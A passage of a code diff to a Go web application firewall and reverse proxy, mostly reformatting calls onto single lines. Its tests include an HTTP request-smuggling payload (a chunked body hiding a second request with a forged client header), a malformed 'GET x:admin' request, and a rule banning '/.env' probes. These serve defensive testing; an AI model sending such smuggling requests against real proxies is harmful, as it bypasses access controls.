-			return fmt.Errorf(
+			return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
-				"entry %d's cause %q %w",
-				i+1,
-				entry.Cause,
-				errCause,
-			)
 		}
 	}
 
@@ -1201,17 +1140,9 @@ func (f *alertsFile) check([]byte) error {
 		for i, alert := range f.Waiting[destination] {
 			switch {
 			case alert.Event == "":
-				return fmt.Errorf(
+				return fmt.Errorf("waiting %s %w", destination, missing(i, "event"))
-					"waiting %s %w",
-					destination,
-					missing(i, "event"),
-				)
 			case alert.Time.IsZero():
-				return fmt.Errorf(
+				return fmt.Errorf("waiting %s %w", destination, missing(i, "time"))
-					"waiting %s %w",
-					destination,
-					missing(i, "time"),
-				)
 			}
 		}
 	}
@@ -1284,12 +1215,7 @@ func missing(i int, field string) error {
 func (f *bansFile) toUTC() {
 	for i := range f.Bans {
 		ban := &f.Bans[i]
-		convertToUTC(
+		convertToUTC(&ban.Start, ban.Expires, ban.Lifted, &ban.Notes.Request.Time)
-			&ban.Start,
-			ban.Expires,
-			ban.Lifted,
-			&ban.Notes.Request.Time,
-		)
 	}
 }
 
@@ -1297,18 +1223,11 @@ func (f *bansFile) toUTC() {
 func (f *clientsFile) toUTC() {
 	for i := range f.Clients {
 		client := &f.Clients[i]
-		convertToUTC(
+		convertToUTC(&client.Minute.Start, &client.Hour.Start, &client.Day.Start,
-			&client.Minute.Start,
+			&client.MinuteBytes.Start, &client.HourBytes.Start,
-			&client.Hour.Start,
+			&client.DayBytes.Start, &client.MinuteRefusals.Start,
-			&client.Day.Start,
+			&client.History.FirstSeen, &client.History.LastSeen,
-			&client.MinuteBytes.Start,
+			&client.History.LookedUp)
-			&client.HourBytes.Start,
-			&client.DayBytes.Start,
-			&client.MinuteRefusals.Start,
-			&client.History.FirstSeen,
-			&client.History.LastSeen,
-			&client.History.LookedUp,
-		)
 	}
 }
 
@@ -1501,8 +1420,7 @@ func write(dir, name string, data []byte) error {
 
 // syncDirectory syncs dir to the disk, so that a rename in it lasts.
 func syncDirectory(dir string) error {
-	//nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself
+	directory, err := os.Open(dir) //nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself
-	directory, err := os.Open(dir)
 	if err != nil {
 		return err
 	}
@@ -1513,11 +1431,7 @@ func syncDirectory(dir string) error {
 // writeSynced writes data to the file at path, and syncs it to the disk.
 func writeSynced(path string, data []byte) error {
 	//nolint:gosec // a file's temporary file, in SWW_STATE_DIR or SWW_CACHE_DIR
-	file, err := os.OpenFile(
+	file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fileMode)
-		path,
-		os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
-		fileMode,
-	)
 	if err != nil {
 		return err
 	}

internal/sww/healthcheck.go

@@ -31,9 +31,7 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
 // args are the arguments after `healthcheck`; it takes none, and given
 // one it names it on stderr and returns 1 without checking anything.
 func HealthCheck(
-	ctx context.Context,
+	ctx context.Context, args []string, lookupEnv func(string) (string, bool),
-	args []string,
-	lookupEnv func(string) (string, bool),
 	stderr io.Writer,
 ) int {
 	if len(args) > 0 {
@@ -87,9 +85,7 @@ func checkWAF(
 func checkRProxyAndApp(
 	ctx context.Context, lookupEnv func(string) (string, bool),
 ) error {
-	listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
+	listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(lookupEnv)
-		lookupEnv,
-	)
 	if err != nil {
 		return fmt.Errorf("invalid setting: %w", err)
 	}
@@ -99,11 +95,7 @@ func checkRProxyAndApp(
 		return fmt.Errorf("ask rproxy: %w", err)
 	}
 
-	conn, err := (&net.Dialer{}).DialContext(
+	conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
-		ctx,
-		"tcp",
-		appAddress(upstreamURL),
-	)
 	if err != nil {
 		return fmt.Errorf("connect to the app: %w", err)
 	}
@@ -117,17 +109,9 @@ func checkRProxyAndApp(
 // listenAddr, which the settings have checked has one.
 func askHealthEndpoint(ctx context.Context, listenAddr string) error {
 	_, port, _ := net.SplitHostPort(listenAddr)
-	health := "http://" + net.JoinHostPort(
+	health := "http://" + net.JoinHostPort("127.0.0.1", port) + waf.HealthPath
-		"127.0.0.1",
-		port,
-	) + waf.HealthPath
 
-	req, err := http.NewRequestWithContext(
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody)
-		ctx,
-		http.MethodGet,
-		health,
-		http.NoBody,
-	)
 	if err != nil {
 		return fmt.Errorf("make the request: %w", err)
 	}

internal/sww/healthcheck_test.go

@@ -94,10 +94,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
 	site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
 	_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
 	settings := func(more ...string) map[string]string {
-		env := map[string]string{
+		env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL}
-			rproxyListenAddr:  ":" + port,
-			rproxyUpstreamURL: app.URL,
-		}
 		for i := 0; i < len(more); i += 2 {
 			env[more[i]] = more[i+1]
 		}
@@ -110,12 +107,8 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
 	wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
 
 	// SWW_COMMAND cannot be given as a file.
-	wantHealthCheck(
+	wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
-		t,
+		0, "")
-		settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
-		0,
-		"",
-	)
 
 	// Another setting does not fail it, even an invalid one, and neither does
 	// SWRP_WAF_BACKEND being unset.
@@ -128,12 +121,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
 
 	// Listening on port 0 takes any free port, so nothing listens on port 0
 	// itself.
-	wantHealthCheck(
+	wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ")
-		t,
-		settings(rproxyListenAddr, ":0"),
-		1,
-		"unhealthy: ask rproxy: ",
-	)
 	wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
 		"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
 
@@ -173,26 +161,16 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
 // wantHealthCheck runs the health check with the settings in env, and
 // checks its exit status and the start of what it writes to stderr,
 // which is nothing when message is empty.
-func wantHealthCheck(
+func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) {
-	t *testing.T,
-	env map[string]string,
-	status int,
-	message string,
-) {
 	t.Helper()
 
 	var stderr bytes.Buffer
 
-	got := sww.HealthCheck(
+	got := sww.HealthCheck(t.Context(), nil, func(name string) (string, bool) {
-		t.Context(),
+		value, ok := env[name]
-		nil,
-		func(name string) (string, bool) {
-			value, ok := env[name]
 
-			return value, ok
+		return value, ok
-		},
+	}, &stderr)
-		&stderr,
-	)
 
 	wrote := stderr.String()
 	if got != status || !strings.HasPrefix(wrote, message) ||

internal/sww/rproxy.go

@@ -21,11 +21,7 @@ import (
 // more severe: rproxy has no setting for either.
 func RunRProxy(ctx context.Context, params Params) int {
 	hostname, _ := os.Hostname() // "" when the host has no name to give
-	processLog := requestlog.NewProcessLogger(
+	processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo)
-		params.Stdout,
-		hostname,
-		slog.LevelInfo,
-	)
 
 	cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
 	if err != nil {
@@ -42,11 +38,7 @@ func RunRProxy(ctx context.Context, params Params) int {
 
 	listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
 	if err != nil {
-		processLog.Error(
+		processLog.Error("cannot listen on SWRP_LISTEN_ADDR", "error", err.Error())
-			"cannot listen on SWRP_LISTEN_ADDR",
-			"error",
-			err.Error(),
-		)
 
 		return 1
 	}

internal/sww/rproxy_test.go

@@ -79,11 +79,7 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
 		select {
 		case status := <-exited:
 			if status != 0 {
-				t.Errorf(
+				t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
-					"rproxy's exit status %d, want 0; output:\n%s",
-					status,
-					out.text(),
-				)
 			}
 		case <-time.After(waitLimit):
 			t.Error("rproxy still running after being told to stop")
@@ -98,10 +94,7 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
 // startWAF runs waf with the settings in env, and returns
 // its address and URL, what it writes, and what stops it, which checks that it
 // stopped in order.
-func startWAF(
+func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
-	t *testing.T,
-	env map[string]string,
-) (string, *output, func()) {
 	t.Helper()
 
 	ctx, stop := context.WithCancel(t.Context())
@@ -120,11 +113,7 @@ func startWAF(
 		select {
 		case status := <-exited:
 			if status != 0 {
-				t.Fatalf(
+				t.Fatalf("waf's exit status %d, want 0; output:\n%s", status, out.text())
-					"waf's exit status %d, want 0; output:\n%s",
-					status,
-					out.text(),
-				)
 			}
 		case <-time.After(waitLimit):
 			t.Fatal("waf still running after being told to stop")
@@ -352,12 +341,7 @@ func pipe(dst, src net.Conn) {
 // answersNormally reports whether a request to url from the client at from, as
 // X-Forwarded-For names it, gets the app's answer.
 func answersNormally(ctx context.Context, url, from string) bool {
-	req, err := http.NewRequestWithContext(
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody)
-		ctx,
-		http.MethodGet,
-		url,
-		http.NoBody,
-	)
 	if err != nil {
 		return false
 	}
@@ -375,8 +359,7 @@ func answersNormally(ctx context.Context, url, from string) bool {
 	body, err := io.ReadAll(res.Body)
 	_ = res.Body.Close()
 
-	return err == nil && res.StatusCode == http.StatusOK &&
+	return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting
-		string(body) == greeting
 }
 
 // sendRaw sends request, as it is, to rproxy at site, and returns the status of
@@ -429,16 +412,9 @@ func TestAChunkedBodyStaysABodyAtWAF(t *testing.T) {
 		waf.ClientHeader + ": " + otherClient + "\r\n" +
 		"X-Request-ID: " + smuggledID + "\r\n\r\n"
 
-	status := sendRaw(
+	status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
-		t,
+		"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
-		site,
+		strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n")
-		"POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
-			"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
-			strconv.FormatInt(
-				int64(len(smuggled)),
-				16,
-			)+"\r\n"+smuggled+"\r\n0\r\n\r\n",
-	)
 	if status != http.StatusOK {
 		t.Errorf("status %d, want the app's 200", status)
 	}
@@ -467,12 +443,8 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
 
 	wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
 
-	status := sendRaw(
+	status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
-		t,
+		"X-Forwarded-For: "+placed+"\r\n\r\n")
-		site,
-		"GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
-			"X-Forwarded-For: "+placed+"\r\n\r\n",
-	)
 	if status != http.StatusBadRequest {
 		t.Errorf("status %d, want 400", status)
 	}
@@ -498,8 +470,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
 	wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
 
 	line := out.line(t, "path", bannedProbe)
-	if line["client_ip"] != "2001:db8::1" ||
+	if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil {
-		line["default_disposition"] != nil {
 		t.Errorf("rproxy's line is %v", line)
 	}
 }
@@ -524,10 +495,7 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
 
 	line := out.line(t, "path", "/")
 	if line["status"] != float64(status) {
-		t.Errorf(
+		t.Errorf("rproxy's line is %v, want the status the visitor got", line)
-			"rproxy's line is %v, want the status the visitor got",
-			line,
-		)
 	}
 
 	id, _ := line["request_id"].(string)
@@ -551,8 +519,7 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
 	}
 
 	out := &output{}
-	//nolint:gosec // this test binary
+	cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
-	cmd := exec.CommandContext(t.Context(), binary)
 	cmd.Stdout = out
 
 	cmd.Env = append(os.Environ(),
@@ -573,11 +540,7 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
 		select {
 		case status := <-exited:
 			if status != 0 {
-				t.Errorf(
+				t.Errorf("exit status %d, want 0; output:\n%s", status, out.text())
-					"exit status %d, want 0; output:\n%s",
-					status,
-					out.text(),
-				)
 			}
 		case <-time.After(waitLimit):
 			t.Error("still running after being told to stop")
@@ -624,11 +587,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
 		"Connection":          "Connection: anything\r\n",
 		"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
 	} {
-		status := sendRaw(
+		status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n")
-			t,
-			addr,
-			"GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n",
-		)
 		if status != http.StatusForbidden {
 			t.Errorf("with %s: status %d, want waf's 403", name, status)
 		}
@@ -636,11 +595,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
 		select {
 		case protocol := <-protocols:
 			if protocol != "HTTP/1.1" {
-				t.Errorf(
+				t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol)
-					"with %s: asked over %s, want HTTP/1.1",
-					name,
-					protocol,
-				)
 			}
 		case <-time.After(waitLimit):
 			t.Errorf("with %s: waf was not asked", name)
@@ -661,11 +616,7 @@ func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) {
 
 	line := out.line(t, "msg", "starting")
 	if line["instance"] != hostname || line["level"] != "INFO" {
-		t.Errorf(
+		t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname)
-			"rproxy's line is %v, want instance %s at INFO",
-			line,
-			hostname,
-		)
 	}
 }
 
@@ -730,11 +681,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Errorf(
+			t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
-				"rproxy's exit status %d, want 0; output:\n%s",
-				status,
-				out.text(),
-			)
 		}
 	case <-time.After(waitLimit):
 		t.Error("rproxy still running, the report having been answered")
@@ -808,11 +755,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
 	}()
 
 	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
-	conn := sendAndKeepOpen(
+	conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
-		t,
-		addr,
-		"GET / HTTP/1.1\r\nHost: site.example\r\n\r\n",
-	)
 
 	select {
 	case <-asked:
@@ -836,11 +779,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Errorf(
+			t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
-				"rproxy's exit status %d, want 0; output:\n%s",
-				status,
-				out.text(),
-			)
 		}
 	case <-time.After(waitLimit):
 		t.Error("rproxy still running after the cut-off")
@@ -875,11 +814,7 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
 			message, _ := line["error"].(string)
 
 			if !strings.HasPrefix(message, tc.setting+": ") {
-				t.Errorf(
+				t.Errorf("start refused with %v, want it to name %s", line, tc.setting)
-					"start refused with %v, want it to name %s",
-					line,
-					tc.setting,
-				)
 			}
 		})
 	}
@@ -888,11 +823,7 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
 func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
 	t.Parallel()
 
-	taken, err := (&net.ListenConfig{}).Listen(
+	taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
-		t.Context(),
-		"tcp",
-		localhost+":0",
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}

internal/sww/sww.go

@@ -79,11 +79,7 @@ func Main(version string) int {
 		syscall.SIGTERM, os.Interrupt)
 	defer stop()
 
-	params := Params{
+	params := Params{Version: version, LookupEnv: os.LookupEnv, Stdout: os.Stdout}
-		Version:   version,
-		LookupEnv: os.LookupEnv,
-		Stdout:    os.Stdout,
-	}
 
 	switch args[0] {
 	case "rproxy":
@@ -115,7 +111,9 @@ func RunWAF(ctx context.Context, params Params) int {
 
 	cfg, err := config.FromEnvironment(params.LookupEnv)
 	if err != nil {
-		return cannotStart(processLog, "invalid setting", err)
+		processLog.Error("invalid setting", "error", err.Error())
+
+		return 1
 	}
 
 	// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
@@ -129,38 +127,13 @@ func RunWAF(ctx context.Context, params Params) int {
 		stdout = io.MultiWriter(params.Stdout, remote)
 	}
 
-	processLog = requestlog.NewProcessLogger(
+	processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
-		stdout,
-		cfg.InstanceName,
-		cfg.LogLevel,
-	)
 
 	if remote != nil {
 		stopSending := startSending(ctx, remote, processLog)
 		defer stopSending()
 	}
 
-	return runWAFWithSettings(
-		ctx,
-		params.Version,
-		cfg,
-		stdout,
-		remote,
-		processLog,
-	)
-}
-
-// runWAFWithSettings is the rest of RunWAF once the settings are read and
-// the process log goes where they say. remote is nil unless
-// SWW_LOG_REMOTE_URL is set.
-func runWAFWithSettings(
-	ctx context.Context,
-	version string,
-	cfg *config.Config,
-	stdout io.Writer,
-	remote *remotelog.Sender,
-	processLog *slog.Logger,
-) int {
 	// The state files and the alerts give times in UTC.
 	now := func() time.Time { return time.Now().UTC() }
 
@@ -173,25 +146,23 @@ func runWAFWithSettings(
 		Alerts:     alertQueue,
 	})
 	if err != nil {
-		return cannotStart(processLog, "cannot use the rule files", err)
+		processLog.Error("cannot use the rule files", "error", err.Error())
+
+		return 1
 	}
 
 	crs, err := waf.NewCoreRuleSet(cfg)
 	if err != nil {
-		return cannotStart(processLog, "cannot use the Core Rule Set", err)
+		processLog.Error("cannot use the Core Rule Set", "error", err.Error())
+
+		return 1
 	}
 
-	server, err := newServer(
+	server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue, crs)
-		cfg,
-		stdout,
-		processLog,
-		now,
-		ruleFiles,
-		alertQueue,
-		crs,
-	)
 	if err != nil {
-		return cannotStart(processLog, "cannot use the lookup database", err)
+		processLog.Error("cannot use the lookup database", "error", err.Error())
+
+		return 1
 	}
 
 	if remote != nil {
@@ -200,43 +171,24 @@ func runWAFWithSettings(
 
 	files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
 	if err != nil {
-		return cannotStart(
+		processLog.Error("cannot use the state and cache files", "error", err.Error())
-			processLog,
+
-			"cannot use the state and cache files",
+		return 1
-			err,
-		)
 	}
 
 	listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
 	if err != nil {
-		return cannotStart(
+		processLog.Error("cannot listen on SWW_LISTEN_ADDR", "error", err.Error())
-			processLog,
+
-			"cannot listen on SWW_LISTEN_ADDR",
+		return 1
-			err,
-		)
 	}
 
 	processLog.Info("starting",
-		"version", version,
+		"version", params.Version,
 		"address", listener.Addr().String(),
 		"settings", cfg)
 
-	return serve(
+	return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog)
-		ctx,
-		server,
-		listener,
-		files,
-		ruleFiles,
-		alertQueue,
-		processLog,
-	)
-}
-
-// cannotStart logs why waf cannot start, and returns its exit status.
-func cannotStart(processLog *slog.Logger, message string, err error) int {
-	processLog.Error(message, "error", err.Error())
-
-	return 1
 }
 
 // newServer returns the server waf runs, with the metrics of the alerts,
@@ -278,10 +230,7 @@ func newServer(
 	server.Metrics.AddAlerts(alertQueue)
 
 	if lookupFile != nil {
-		server.Metrics.AddLookupFile(
+		server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures)
-			lookupFile.LastRead,
-			lookupFile.ReadFailures,
-		)
 	}
 
 	return server, nil
@@ -446,11 +395,7 @@ func serve(
 
 	err = files.WriteAll()
 	if err != nil {
-		processLog.Error(
+		processLog.Error("writing the state and cache files failed", "error", err.Error())
-			"writing the state and cache files failed",
-			"error",
-			err.Error(),
-		)
 
 		return 1
 	}

internal/sww/sww_internal_test.go

@@ -22,10 +22,7 @@ func TestStopWaitsForTheSenderToFinish(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		took := stopHeldSender(t, time.Second)
 		if took != time.Second {
-			t.Errorf(
+			t.Errorf("the stop took %s, want the second the sender took", took)
-				"the stop took %s, want the second the sender took",
-				took,
-			)
 		}
 	})
 }
@@ -62,10 +59,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
 	sender := remotelog.New(remotelog.Params{
 		// No port is 65536, so each attempt to connect fails at once,
 		// before it reaches the network.
-		URL: &url.URL{
+		URL:    &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"},
-			Scheme: remotelog.SchemeTCP,
-			Host:   "127.0.0.1:65536",
-		},
 		Buffer: 1,
 	})
 

internal/sww/sww_test.go

@@ -111,12 +111,8 @@ func (o *output) lineBeforeExit(
 
 		select {
 		case status := <-exited:
-			t.Fatalf(
+			t.Fatalf("exit status %d while waiting for a line with msg %q; output:\n%s",
-				"exit status %d while waiting for a line with msg %q; output:\n%s",
+				status, msg, o.text())
-				status,
-				msg,
-				o.text(),
-			)
 		case <-time.After(pollInterval):
 		}
 	}
@@ -231,11 +227,7 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) {
 func TestAddressInUseStopsTheStart(t *testing.T) {
 	t.Parallel()
 
-	taken, err := (&net.ListenConfig{}).Listen(
+	taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
-		t.Context(),
-		"tcp",
-		localhost+":0",
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -333,11 +325,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Fatalf(
+			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
-				"exit status %d, want 0; output:\n%s",
-				status,
-				out.text(),
-			)
 		}
 	case <-time.After(waitLimit):
 		t.Fatal("still running after being told to stop")
@@ -491,14 +479,7 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
 	runUntilStopped(t, env, func(url string) {
 		path := filepath.Join(dir, "bans.json")
 
-		saveUntilAnswered(
+		saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden)
-			t,
-			path,
-			oneBan,
-			url,
-			"203.0.113.9",
-			http.StatusForbidden,
-		)
 		wantStatus(t, url, "198.51.100.7", http.StatusOK)
 		saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
 	})
@@ -587,20 +568,12 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
 	dir := t.TempDir()
 	path := filepath.Join(dir, "00-default.rules")
 
-	err := os.WriteFile(
+	err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600)
-		path,
-		[]byte("# probes\nenv-file path bann ^/\\.env$\n"),
-		0o600,
-	)
 	if err != nil {
 		t.Fatalf("write the rule file: %v", err)
 	}
 
-	wantRulesRefused(
+	wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`)
-		t,
-		dir,
-		path+`, line 2: the action "bann" is not log, block or ban`,
-	)
 }
 
 func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -612,9 +585,7 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
 		": no such file or directory")
 }
 
-func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
+func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
@@ -715,38 +686,23 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
 		}
 
 		// One that cannot be read leaves the file read before in use.
-		err := os.WriteFile(
+		err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600)
-			replacement,
-			[]byte("not a lookup database\n"),
-			0o600,
-		)
 		if err != nil {
 			t.Fatalf("write %s: %v", replacement, err)
 		}
 
 		rename(t, replacement, path)
 
-		metrics := metricsWith(
+		metrics := metricsWith(t, url+"_sww/metrics", token,
-			t,
+			`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`)
-			url+"_sww/metrics",
+		lastRead = seriesValue(t, metrics,
-			token,
+			`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`)
-			`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`,
-		)
-		lastRead = seriesValue(
-			t,
-			metrics,
-			`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`,
-		)
 
 		wantStatus(t, url, placed, http.StatusOK)
 	})
 
-	if lastRead < float64(began.Unix()) ||
+	if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) {
-		lastRead > float64(time.Now().Unix()) {
+		t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead)
-		t.Errorf(
-			"the lookup database was last read at %v, want a time in the test",
-			lastRead,
-		)
 	}
 }
 
@@ -820,8 +776,8 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
 	})
 	wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
 
-	if n := torFetches.Load(); n != 1 {
+	if fetches := torFetches.Load(); fetches != 1 {
-		t.Errorf("tor.txt fetched %d times before the restart, want 1", n)
+		t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches)
 	}
 
 	// After another restart, with the server failing, the copy of drop.txt
@@ -836,10 +792,10 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
 
 	path := filepath.Join(cache, "lists.json")
 
-	//nolint:gosec // a file in the test's directory
+	kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
-	kept, err := os.ReadFile(path)
 	if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
-		t.Errorf("lists.json holds\n%s\nwant %q (%v)", kept, copyright, err)
+		t.Errorf("lists.json holds\n%s\nwant the copy with %q (%v)", kept, copyright,
+			err)
 	}
 }
 
@@ -859,12 +815,9 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
 			case down.Load():
 				w.WriteHeader(http.StatusServiceUnavailable)
 			default:
-				_, _ = io.WriteString(
+				_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
-					w,
+					`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
-					`[{"duration": "4h0m0s", "origin": "crowdsec", `+
+					`"type": "ban", "value": "203.0.113.0/24"}]`)
-						`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
-						`"type": "ban", "value": "203.0.113.0/24"}]`,
-				)
 			}
 		}))
 	t.Cleanup(engine.Close)
@@ -889,11 +842,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
 	ban := onlyBan(t, dir)
 	if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
 		ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
-		t.Errorf(
+		t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
-			"bans.json holds %v, want the ban for crowdsec on %s",
-			ban,
-			placed,
-		)
 	}
 
 	// Restarted with the engine down, the copy kept in lists.json bans
@@ -922,10 +871,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
 	}
 
 	if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
-		t.Errorf(
+		t.Errorf("the key is shown in the output or the state and cache files:\n%s", all)
-			"the key is shown in the output or the state and cache files:\n%s",
-			all,
-		)
 	}
 }
 
@@ -937,11 +883,7 @@ func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
 	reputation, _ := line["reputation"].([]any)
 	if line["action"] != "client_denied" || len(reputation) != 1 ||
 		reputation[0] != listURL {
-		t.Errorf(
+		t.Errorf("request log line %v, want one denied for %s", line, listURL)
-			"request log line %v, want one denied for %s",
-			line,
-			listURL,
-		)
 	}
 }
 
@@ -976,11 +918,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
 func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
 	t.Parallel()
 
-	endpoint, err := (&net.ListenConfig{}).Listen(
+	endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
-		t.Context(),
-		"tcp",
-		localhost+":0",
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -1035,11 +973,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
 
 	// The endpoint takes connections and never answers, so the TLS
 	// handshake of each waits on it, and no line is ever sent.
-	endpoint, err := (&net.ListenConfig{}).Listen(
